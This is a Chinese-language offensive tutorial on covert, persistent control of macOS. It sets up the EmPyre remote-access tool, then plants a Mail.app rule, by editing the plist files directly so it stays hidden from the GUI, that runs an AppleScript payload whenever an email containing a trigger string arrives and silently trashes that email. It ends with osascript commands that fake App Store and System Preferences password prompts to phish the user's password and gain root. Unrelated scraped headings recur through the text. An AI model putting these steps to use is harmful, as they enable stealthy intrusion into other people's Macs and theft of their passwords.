macos自带邮件使用技巧 (macos自动管理邮件)

macos的7个便捷的终端命令,macos安全与隐私设置误操作

作者: vodu

预估稿费:500RMB(不服你也来投稿啊!)

投稿方式:发送邮件至 linwei#360.cn ,或登陆 网页版 在线投稿

关于木马稳定控制Mac,有很多种方式,今天跟大家探讨一个通过email稳定控制Mac的方式。网上有一些介绍的文章,但是坑多,现将本人测试经验整理,共同学习。

文章整体分为三个部分,第一部分简单介绍远控工具,第二部分介绍如何通过email去启动木马,第三部分关于全版本MacOS适用的提权

一、远控

使用Empyre,纯python的渗透工具,使用完全类似于Empire

1

2

3

git clone https://github.com/adaptivethreat/EmPyre.git

cd EmPyre

python empyre

设置Linsteners

1

2

Listeners

run //本次测试使用默认地址,根据情况更改配置

生成回连脚本

1

2

3

usestarger bash

set Listener test // 设置好的listeners名字

generate

macos的7个便捷的终端命令,macos安全与隐私设置误操作

至此,远控回连设置完毕

关于mac平台的远控的选择,还可以选择其他多种工具,像JS-Rat 等等等。。。因为MacOS支持各多种脚本的运行,像javascript,python 等。或者就最简单的反弹一个shell回来,类Unix平台的控制程序多种多样,根据自己情况先择就好。

二、启动

MacOS自带的Mail.APP

macos的7个便捷的终端命令,macos安全与隐私设置误操作

有一个添加规则的功能,触发后可以执行脚本,具体步骤如下:

依次点击 邮件-偏好设置-规则-添加规则,就可以按照常规方式添加规则

macos的7个便捷的终端命令,macos安全与隐私设置误操作

然后选择合适的触发规则

macos的7个便捷的终端命令,macos安全与隐私设置误操作

最后选择触发后的行为

macos的7个便捷的终端命令,macos安全与隐私设置误操作

触发后执行的AppleScript 为script.scpt文件,必须位于:

1

/Users/$USER/Library/Application Scripts/com.apple.mail/

文件夹中,并且以scpt后缀

为了便于隐藏,推荐直接修改配置文件,设置规则。在配置文件上修改应用的规则不会显示到GUI界面,有较强的隐蔽性。

邮件规则存储文件:

1

/Users/$USER/Library/Mail/$VERSION/MailData/SyncedRules.plist

“$USER”就是目标用户的用户名称,“$VERSION”是相应的版本号,版本对应如下:

1

2

3

4

MacOS Sierra (10.12)V4

OS X El Capitan (10.11)V3

OS X Lion (10.7)V2

OS X Yosemite (10.10)V2

如果机器开启了iCloud同步,那么规则将会被存储到另一位文件中,位于:

1

/Users/$USER/Library/Mobile Documents/com~apple~mail/Data/$VERSION/MailData/SyncedRules.plist

需要注意的是该文件比上一个的文件有高优先级,并且新规则在Mail.APP重启之后生效。

以下是规则文件中内容

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

<plist version="1.0">

<array>

<dict>

<key>AllCriteriaMustBeSatisfied</key>

<string>NO</string>

<key>AppleScript</key>

<string>script.scpt</string>

<key>AutoResponseType</key>

<integer>0</integer>

<key>CopyToMailbox</key>

<string>Trash</string>

<key>CopyToMailboxURL</key>

<string>Trash</string>

<key>Criteria</key>

<array>

<dict>

<key>CriterionUniqueId</key>

<string>003AC288-64E4-4FA6-99DC-20DDDBA8DDAA</string>

<key>Expression</key>

<string>test-123</string>

<key>Header</key>

<string>Body</string>

</dict>

</array>

<key>Deletes</key>

<string>YES</string>

<key>HighlightTextUsingColor</key>

<string>NO</string>

<key>Mailbox</key>

<string>Trash</string>

<key>MailboxURL</key>

<string>Trash</string>

<key>MarkFlagged</key>

<string>NO</string>

<key>MarkRead</key>

<string>NO</string>

<key>NotifyUser</key>

<string>NO</string>

<key>RuleId</key>

<string>63C428FB-2634-4C0C-ACCA-9DA68229BC29</string>

<key>RuleName</key>

<string>delete</string>

<key>SendNotification</key>

<string>NO</string>

<key>ShouldCopyMessage</key>

<string>NO</string>

<key>ShouldTransferMessage</key>

<string>NO</string>

<key>TimeStamp</key>

<integer>461321588</integer>

<key>Version</key>

<integer>1</integer>

</dict>

</array>

</plist>

代码中的“test-123” 就是触发字符,触发位置设置为“Body”正文中,配置代码如下:

1

2

3

4

<key>Expression</key>

<string>test-123</string>

<key>Header</key>

<string>Body</string>

执行的AppleScript脚本文件名称为script.scpt

1

2

<key>AppleScript</key>

<string>script.scpt</string>

启用这个规则,只需要将“RuleId” 添加到“RulesActiveState.plist” 文件中,例如:

1

2

<key>63C428FB-2634-4C0C-ACCA-9DA68229BC29</key>

<true/>

测试脚本文件内容为:

1

do shell script "date > /Users/$USER/Desktop/test.txt ; "

规则整体的意思就是,收到一封内容中包含字符“test-123”的邮件时,就将邮件扔到垃圾桶中,然后执行系统命令,输出当前时间到桌面的“test.txt”文件中。

至此启动器设置完成,下图为测试效果

macos的7个便捷的终端命令,macos安全与隐私设置误操作

macos的7个便捷的终端命令,macos安全与隐私设置误操作

如果需要启动木马,只需要将脚本文件中引号内容替换为之前Empyre生成的bash脚本,然后一封邮件,done,效果如下图:

macos的7个便捷的终端命令,macos安全与隐私设置误操作

为了增加隐蔽性,可以添加一些规则

1

2

3

4

5

6

7

8

9

10

<key>MarkRead</key>

<string>YES</string>

<key>CopyToMailbox</key>

<string>Trash</string>

<key>CopyToMailboxURL</key>

<string>Trash</string>

<key>Mailbox</key>

<string>Trash</string>

<key>MailboxURL</key>

<string>Trash</string>

这样收到信件之后会直接标记已读,然后放入废纸篓,就再也不会出现未读提示,效果如下图:

macos的7个便捷的终端命令,macos安全与隐私设置误操作

这样,触发邮件不会出现在收件箱中,并且在废纸篓中也不会提示未读。至于其中的DELETE,只会将邮件放入废纸篓, 而不是直接删除,没有一个很明确的解释,该功能为什么不能将邮件彻底删除。不知道是不是测试邮箱的问题。有待继续测试。

下一个问题,权限,这时候获取的shell权限不高,如下图:

macos的7个便捷的终端命令,macos安全与隐私设置误操作

只是用户权限,并不是root权限,下一步,提权。

三、提权

通杀MacOS全部版本的提权方式哦!

关于AppleScript,官方有如下叙述:

AppleScript是由Apple创建的脚本语言。 它允许用户直接控制可编写脚本的Macintosh应用程序,以及macOS本身的一部分。 您可以创建脚本集合的书面指令 - 自动化重复任务,组合来自多个可编写脚本的应用程序的功能,并创建复杂的工作流程。

由于代码功底有限,无法fuzz出MacOS提权漏洞,所以转变思路,只要能获取到用户的密码,就直接能获取root权限。

由于能力有限,直接从MacOS的密码从系统中获取本人无法做到。

最终方案 -- 针对 “人”。

先上几张效果图:

macos的7个便捷的终端命令,macos安全与隐私设置误操作

macos的7个便捷的终端命令,macos安全与隐私设置误操作

不够酷炫? 不够诱人?还有

macos的7个便捷的终端命令,macos安全与隐私设置误操作

你就说你输不输入密码!

不输入,就不能继续程序,什么程序都行包括系统程序!

强调下,这是系统设置和Apple Store 弹出的框,并不是手工绘制出现在屏幕上的弹框!

利用系统应用,如 app sotre,系统便好设置 给用户弹框,要求用户输入密码。并且不输入密码无法继续操作App Store 和系统设置。

需要注意的是,输入为空或者随意输入弹框都会消失,经过本人多次测试,将弹框次数增加至2到3次,将会打消用户所有疑虑,第二或者第三次的输入基本就会是系统密码。如果觉得该方案不保险,可以进行以下判断,密码不正确就一直弹框。

目前在多个朋友的Mac系统上测试结果,所有人都输入了密码!!

然后

1

do shell script "command" user name "username" password "password" with administrator privileges

或者其他什么方式

成功获取到root权限

你的电脑,我的权限。

收工!

附脚本:

1

2

3

osascript -e ’tell app "App Store" to activate’ -e ’tell app "App Store" to activate’ -e ’tell app "App Store" to display dialog "App Store 需要密码才能继续" & return & return default answer "" with icon 1 with hidden answer with title "App Store"’

osascript -e ’tell app "System Preferences" to display dialog "System Preferences 需要密码才能应用更新" & return & return default answer "" with icon 1 with hidden answer’

脚本可以随意发挥!